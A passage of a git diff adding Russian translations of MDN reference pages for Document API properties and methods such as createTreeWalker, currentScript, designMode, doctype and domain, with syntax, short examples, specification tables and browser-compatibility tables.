Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ru/web/api/document/createtreewalker/index.html b/files/ru/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..452fb1651e --- /dev/null +++ b/files/ru/web/api/document/createtreewalker/index.html @@ -0,0 +1,155 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +translation_of: Web/API/Document/createTreeWalker +--- +<div>{{ApiRef("Document")}}</div> + +<div>Вызов метода <code><strong>Document.createTreeWalker()</strong></code> возвращает новый объект класса {{domxref("TreeWalker")}}.</div> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox"><em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>[, <em>filter</em>[, <em>entityReferenceExpansion</em>]]); +</pre> + +<h3 id="Параметры">Параметры</h3> + +<dl> + <dt><code>root </code></dt> + <dd>корневой узел {{domxref("Node")}} для {{domxref("TreeWalker")}}. Чаще всего это элемент принадлежащий document.</dd> + <dt><code>whatToShow</code> {{optional_inline}}</dt> + <dd>A <code>unsigned long</code> representing a bitmask created by combining the constant properties of <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. It is a convenient way of filtering for certain types of node. It defaults to <code>0xFFFFFFFF</code> representing the <code>SHOW_ALL</code> constant. + <table class="standard-table"> + <tbody> + <tr> + <td class="header">Константа</td> + <td class="header">Числовое значение</td> + <td class="header">Описание</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ALL</code></td> + <td><code>-1</code> (that is the max value of <code>unsigned long</code>)</td> + <td>Показывать все узлы.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td> + <td><code>2</code></td> + <td>Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td> + <td><code>8</code></td> + <td>Shows {{domxref("CDATASection")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_COMMENT</code></td> + <td><code>128</code></td> + <td>Shows {{domxref("Comment")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT</code></td> + <td><code>256</code></td> + <td>Shows {{domxref("Document")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td> + <td><code>1024</code></td> + <td>Shows {{domxref("DocumentFragment")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td> + <td><code>512</code></td> + <td>Shows {{domxref("DocumentType")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ELEMENT</code></td> + <td><code>1</code></td> + <td>Shows {{domxref("Element")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td> + <td><code>32</code></td> + <td>Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td> + <td><code>16</code></td> + <td>Shows {{domxref("EntityReference")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td> + <td><code>2048</code></td> + <td>Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td> + <td><code>64</code></td> + <td>Shows {{domxref("ProcessingInstruction")}} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_TEXT</code></td> + <td><code>4</code></td> + <td>Shows {{domxref("Text")}} nodes.</td> + </tr> + </tbody> + </table> + </dd> + <dt><code>filter</code> {{optional_inline}}</dt> + <dd>A {{domxref("NodeFilter")}}, that is an object with a method <code>acceptNode</code>, which is called by the {{domxref("TreeWalker")}} to determine whether or not to accept a node that has passed the <code>whatToShow</code> check.</dd> + <dt><code>entityReferenceExpansion</code> {{optional_inline}} {{obsolete_inline}}</dt> + <dd>A {{domxref("Boolean")}} flag indicating if when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A new {{domxref("TreeWalker")}} object.</p> + +<h2 id="Example">Example</h2> + +<p>The following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the <code>acceptNode()</code> method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.</p> + +<pre class="brush: js">var treeWalker = document.createTreeWalker( + document.body, + NodeFilter.SHOW_ELEMENT, + { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } }, + false +); + +var nodeList = []; + +while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Removed the <code>expandEntityReferences</code> parameter. Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM2 Traversal_Range')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.createTreeWalker")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The interface of the object it creates: {{domxref("TreeWalker")}}.</li> +</ul> diff --git a/files/ru/web/api/document/currentscript/index.html b/files/ru/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..e4d3849b73 --- /dev/null +++ b/files/ru/web/api/document/currentscript/index.html @@ -0,0 +1,110 @@ +--- +title: Document.currentScript +slug: Web/API/Document/currentScript +translation_of: Web/API/Document/currentScript +--- +<div>{{ApiRef("DOM")}}</div> + +<p>Возвращает элемент {{HTMLElement("script")}}, который выполняется в данный момент.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <var>curScriptElement</var> = document.currentScript; +</pre> + +<h2 id="Пример">Пример</h2> + +<p>Этот пример проверяет, выполняется ли текущий скрипт асинхронно:</p> + +<pre class="brush:js">if (document.currentScript.async) { + console.log("Executing asynchronously"); +} else { + console.log("Executing synchronously"); +}</pre> + +<p><a href="/samples/html/currentScript.html">Посмотреть живые примеры</a></p> + +<h2 id="Notes">Notes</h2> + +<p>Важно заметить, что элемент {{HTMLElement("script")}} не будет соответствовать текущему, если он выполняется внутри callback'a или event handler'a; он будет соответствовать элементу только при начальном выполнении скрипта.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость">Совместимость</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(29.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatNo}}</td> + <td>16</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.4</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>{{HTMLElement("script")}}</li> + <li>{{domxref("element.onafterscriptexecute")}}</li> + <li>{{domxref("element.onbeforescriptexecute")}}</li> +</ul> diff --git a/files/ru/web/api/document/defaultview/index.html b/files/ru/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..fb38bdabd4 --- /dev/null +++ b/files/ru/web/api/document/defaultview/index.html @@ -0,0 +1,50 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - DOM + - Property +translation_of: Web/API/Document/defaultView +--- +<div>{{ ApiRef() }}</div> + +<p>В браузерах возвращает объект <a href="/en-US/docs/DOM/window" title="DOM/window">window</a>, который связан с document текущей страницы или <code>null</code> если document не доступен.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox">var win = document.defaultView;</pre> + +<p>Это свойство доступно только для чтения.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.defaultView")}}</p> diff --git a/files/ru/web/api/document/designmode/index.html b/files/ru/web/api/document/designmode/index.html new file mode 100644 index 0000000000..9eb7f429d6 --- /dev/null +++ b/files/ru/web/api/document/designmode/index.html @@ -0,0 +1,65 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - DOM + - Document + - HTML + - JS + - designmode + - editor +translation_of: Web/API/Document/designMode +--- +<div>{{ ApiRef() }}</div> + +<p><code>document.designMode</code> переключает режим редактирования для всего документа. Допустимые значения: "on" и "off". В соответствии со спецификацией, это свойство по умолчанию имеет значение "off". Firefox следует этому стандарту. В более ранних версии Chrome и IE это свойство по умолчанию имеет значение "inherit". Начиная с Chrome 43 значение по умолчанию "off", а значение "inherit" более не поддерживается. В IE6-10 значение должно быть указанно с большой буквы ("On" и "Off") </p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre><code>var mode = document.designMode; +document.designMode = "on" </code>|| "off";</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<p>Включить режим редактирования для {{HTMLElement("iframe")}} :</p> + +<pre><code>iframeNode</code>.contentDocument.designMode = "on"; +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Начальное значение</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами" style="font-size: 2.14285714285714rem;">Совместимость с браузерами</h2> + + + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.designMode")}}</p> + + + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li><a href="https://msdn.microsoft.com/ru-ru/library/ms533720(v=vs.85).aspx">Свойство designMode</a> на MSDN</li> +</ul> diff --git a/files/ru/web/api/document/dir/index.html b/files/ru/web/api/document/dir/index.html new file mode 100644 index 0000000000..adfe8dfa7b --- /dev/null +++ b/files/ru/web/api/document/dir/index.html @@ -0,0 +1,63 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +tags: + - API + - Document + - Property +translation_of: Web/API/Document/dir +--- +<p>{{ApiRef("")}}</p> + +<p>Свойство<strong> </strong><code><strong>Document.dir</strong></code> является строкой {{domxref("DOMString")}} показывает направление текста на странице (слева направо или справа налево).</p> + +<p><u>Возможные значения:</u></p> + +<ul> + <li><code>'ltr'</code> - слева направо</li> + <li> + <p><code>'rtl'</code> - справа налево</p> + </li> +</ul> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="brush: js" dir="rtl"><em>dirStr</em> = <em>document.</em>dir; +<em>document.dir</em> = <em>dirStr;</em></pre> + +<h2 id="Specifications" name="Specifications">Спецификации</h2> + +<table class="standard-table" style='color: #333333; font-family: "Open Sans",arial,x-locale-body,sans-serif;'> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.dir")}}</p> + +<p> </p> + +<h2 id="Связанные_события">Связанные события</h2> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li> +</ul> diff --git a/files/ru/web/api/document/doctype/index.html b/files/ru/web/api/document/doctype/index.html new file mode 100644 index 0000000000..1715e06fc2 --- /dev/null +++ b/files/ru/web/api/document/doctype/index.html @@ -0,0 +1,63 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +tags: + - ДОМ + - Документ + - Отсылка + - Свойство + - Справка +translation_of: Web/API/Document/doctype +--- +<div>{{ApiRef("DOM")}}</div> + +<p>Возвращает Описание Типа Документа (Document Type Declaration, DTD) относительно текущего документа. Возвращаемый объект обеспечивает выполнение {{domxref("DocumentType")}} интерфейса. Используйте {{domxref("DOMImplementation.createDocumentType()")}} для создания <code>DocumentType</code>.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype; +</pre> + +<ul> + <li><code>doctype</code> - свойство только для четния.</li> +</ul> + +<h2 id="Пример">Пример</h2> + +<pre class="brush:js">var doctypeObj = document.doctype; + +console.log( + "doctypeObj.name: " + doctypeObj.name + "\n" + + "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" + + "doctypeObj.publicId: " + doctypeObj.publicId + "\n" + + "doctypeObj.systemId: " + doctypeObj.systemId +);</pre> + +<h2 id="Примечания">Примечания</h2> + +<p>Свойство возвращает <code>null</code>, если не существует DTD связанного с текущим документом.</p> + +<p>DOM уровня 2 не поддерживает редактирование описания типа документа.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{Compat("api.Document.doctype")}}</p> diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html new file mode 100644 index 0000000000..7dee15e364 --- /dev/null +++ b/files/ru/web/api/document/document/index.html @@ -0,0 +1,52 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - ДОМ + - Документ + - Конструктор +translation_of: Web/API/Document/Document +--- +<p>{{APIRef}}{{Non-standard_header}}</p> + +<p><strong><code>Document</code></strong> конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере и служит точкой входа в содержание страницы.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <em>document</em> = new Document()</pre> + +<h3 id="Параметры">Параметры</h3> + +<p>Нету.</p> + +<p><span style='background-color: #333333; color: #ffffff; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.5rem;'>Спецификация</span></p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Первоначальное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_Браузерами">Совместимость с Браузерами</h2> + +<div> </div> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.Document")}}</p> + +<p> </p> diff --git a/files/ru/web/api/document/documentelement/index.html b/files/ru/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..27344558f8 --- /dev/null +++ b/files/ru/web/api/document/documentelement/index.html @@ -0,0 +1,44 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - 'API,' + - DOM + - Свойство + - Ссылка + - Только для чтения +translation_of: Web/API/Document/documentElement +--- +<p>{{ ApiRef("DOM") }}</p> + +<p> <code><strong>Document.documentElement</strong></code> - свойство только для чтения, которое возвращает элемент <a href="/en-US/docs/DOM/element"><code>Element</code></a> , который является коренным элементом документа <a href="/en-US/docs/DOM/document"><code>document</code></a> (например элемент <code><html></code> для HTML документов).</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox">var <em>element</em> = document.documentElement; +</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush:js">var rootElement = document.documentElement; +var firstTier = rootElement.childNodes; + +// firstTier -переменная объекта NodeList непосредственных потомков корневого элемента +for (var i = 0; i < firstTier.length; i++) { + // что-то делает с каждым прямым потомком корневого элемента + // как и firstTier[i] +}</pre> + +<h2 id="Notes" name="Notes">Примечания</h2> + +<p>Это свойство удобно только для чтения для получения корневого элемента, связанного с любым документом.</p> + +<p>HTML документ обычно содержит один дочерний узел - <code><html></code>, возможно с объявлением DOCTYPE перед ним. XML документы часто содержат множественные дочерние узлы: корневой элемент, объявление DOCTYPE, и <a href="/en-US/docs/DOM/ProcessingInstruction"> инструкции по обработке</a>.</p> + +<p>Поэтому вам стоит использовать <code>document.documentElement</code> вместо {{Domxref("document.firstChild")}} для доступа к корневому элементу.</p> + +<h2 id="Спецификация">Спецификация</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></li> +</ul> diff --git a/files/ru/web/api/document/documenturi/index.html b/files/ru/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..ca57ddec41 --- /dev/null +++ b/files/ru/web/api/document/documenturi/index.html @@ -0,0 +1,113 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +translation_of: Web/API/Document/documentURI +--- +<div>{{ApiRef("DOM")}}</div> + +<p>Свойство <code><strong>documentURI</strong></code> интерфейса {{domxref("Document")}} возвращает строку с текущим адресом документа.</p> + +<p>Первоначально определено в DOM3 как атрибут для чтения и записи. В спецификации DOM4 это свойство доступно только для чтения.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="brush: js"><code>var string = document.documentURI;</code> +</pre> + +<h2 id="Примечание">Примечание</h2> + +<p>HTML документы содержат свойство {{domxref("document.URL")}} которое возвращает то же значение. Но в отличие от <code>URL</code>, свойство <code>documentURI</code> доступно для всех типов документов.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Начальное определение</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>DOM3 behavior</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>DOM4 behavior</td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>DOM3 behavior</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>DOM4 behavior</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(43.0)}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ru/web/api/document/documenturiobject/index.html b/files/ru/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..533664f3b8 --- /dev/null +++ b/files/ru/web/api/document/documenturiobject/index.html @@ -0,0 +1,35 @@ +--- +title: Document.documentURIObject +slug: Web/API/Document/documentURIObject +tags: + - свойства дом +translation_of: Web/API/Document/documentURIObject +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><code><strong>Document.documentURIObject</strong></code> свойство только для чтения возвращает {{ Interface("nsIURI") }} объект представляющий URI <a href="/en-US/docs/">документа</a>.</p> + +<p>Это работает только для привилегированных (UniversalXPConnect) скриптов, включая расширенный код. Для веб содержания это свойство не имеет какого-либо специального значения и может быть использованно так же как и любое другое обычное свойство.</p> + +<p>Превилегированный код должен быть осторожным не пытаясь получить или установить это свойство на объект с незапакованным содержанием (e.g. on a <code>wrappedJSObject</code> of an <code><a href="/en/XPCNativeWrapper" title="en/XPCNativeWrapper">XPCNativeWrapper</a></code>). Смотрите {{ Bug(324464) }}' комментарии для детализации.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval">var <em>uri</em> = <em>doc</em>.documentURIObject; +</pre> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="eval">// Проверка является ли этот URI scheme текущей вкладки Firefox - 'http', +// предполагая что этот код выполняется в контексте browser.xul +var uriObj = content.document.documentURIObject; +var uriPort = uriObj.port; + +if (uriObj.schemeIs('http')) { + ... +} +</pre> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<p>Не является частью спецификации.</p> diff --git a/files/ru/web/api/document/domain/index.html b/files/ru/web/api/document/domain/index.html new file mode 100644 index 0000000000..bd54dc1f83 --- /dev/null +++ b/files/ru/web/api/document/domain/index.html @@ -0,0 +1,106 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - Domain + - HTML DOM + - Property + - Same Origin + - Same Origin Policy + - iframe +translation_of: Web/API/Document/domain +--- +<div>{{ApiRef}}</div> + +<div>Свойство <code>domain</code> у {{domxref("Document")}} интерфейса получает/устанавливает доменную часть источника происхождения (origin) текущего документа, используется в <a href="https://developer.mozilla.org/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">политике ограничения домена (same origin policy)</a>.</div> + +<h2 id="Summary" name="Summary">Синтаксис</h2> + +<pre class="syntaxbox">var <var>domainString</var> = document.domain; +document.domain = <var>string</var>;</pre> + +<h3 id="Значение">Значение</h3> + +<p>Доменная часть источника происхождения (origin) текущего документа.</p> + +<h3 id="Исключения">Исключения</h3> + +<dl> + <dt><code>SecurityError</code></dt> + <dd>An attempt has been made to set <code>domain</code> under one of the following conditions: + <ul> + <li>The document is inside a sandboxed {{htmlelement("iframe")}}</li> + <li>The document has no browsing context</li> + <li>The document's <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">effective domain</a> is <code>null</code></li> + <li>The given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it)</li> + <li>The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} is enabled</li> + </ul> + </dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Getting_the_domain">Getting the domain</h3> + +<p>For the URI <code>http://developer.mozilla.org/en-US/docs/Web</code>, this example sets <code>currentDomain</code> to the string "<code>developer.mozilla.org</code>".</p> + +<pre><code>var currentDomain = document.domain;</code></pre> + +<h3 id="Closing_a_window">Closing a window</h3> + +<p>If a document, such as <code>www.example.xxx/good.html</code>, has the domain of <code>"www.example.xxx"</code>, this example attempts to close the window.</p> + +<pre><code>var badDomain = "www.example.xxx"; + +if (document.domain == badDomain) { + // Just an example: window.close() sometimes has no effect + window.close(); +}</code></pre> + +<h2 id="Notes" name="Notes">Замечания</h2> + +<p>Свойство возвращает <code>null</code> если домен документа не может быть идентифицирован, хотя теперь это изменилось с Firefox 62 - смотри обсуждение в {{bug(819475)}}.</p> + +<p>Mozilla позволит вам установить его в супердомен текущего значения, ограниченный его <a href="/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29">базовым доменом</a>. Например, на developer.mozilla.org возможно установить его как "mozilla.org" но не как "mozilla.com" или "org".</p> + +<p>Если это свойство успешно установленно, портовая часть источника так же уставнавливается на нуль.</p> + +<p>Mozilla отличает свойство <code>document.domain</code>, которое никогда не было установлено от явно утановленного такого же домена как в URL документа, хотя свойство возвращает одинаковое значение в обоих случаях. Один документ разрешает доступ к другому, если они оба установили <code>document.domain</code> в одинаковое значение, указывая тем самым на их намерение сотрудничать или ни один из них не установил <code>document.domain</code>, а домены в URL-адресах одинаковые (<a class="link-https" href="https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&mark=199-215#199" title="https://mxr.mozilla.org/mozilla-central/source/caps/src/nsScriptSecurityManager.cpp#1003">реализация</a>). Если бы не эта специальная политика, то каждый сайт будет подвержен XSS от своих поддоменов (для примера <a class="link-https" href="https://bugzilla.mozilla.org" rel="freelink">https://bugzilla.mozilla.org</a> может быть атакован с помощью заведения багов (bug attachments) на <a class="link-https" href="https://bug*.bugzilla.mozilla.org" rel="freelink">https://bug*.bugzilla.mozilla.org</a>).</p> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col"><strong>Спецификация</strong></th> + <th scope="col"><strong>Статус</strong></th> + <th scope="col"><strong>Комментарий</strong></th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td> + <td>{{Spec2('HTML 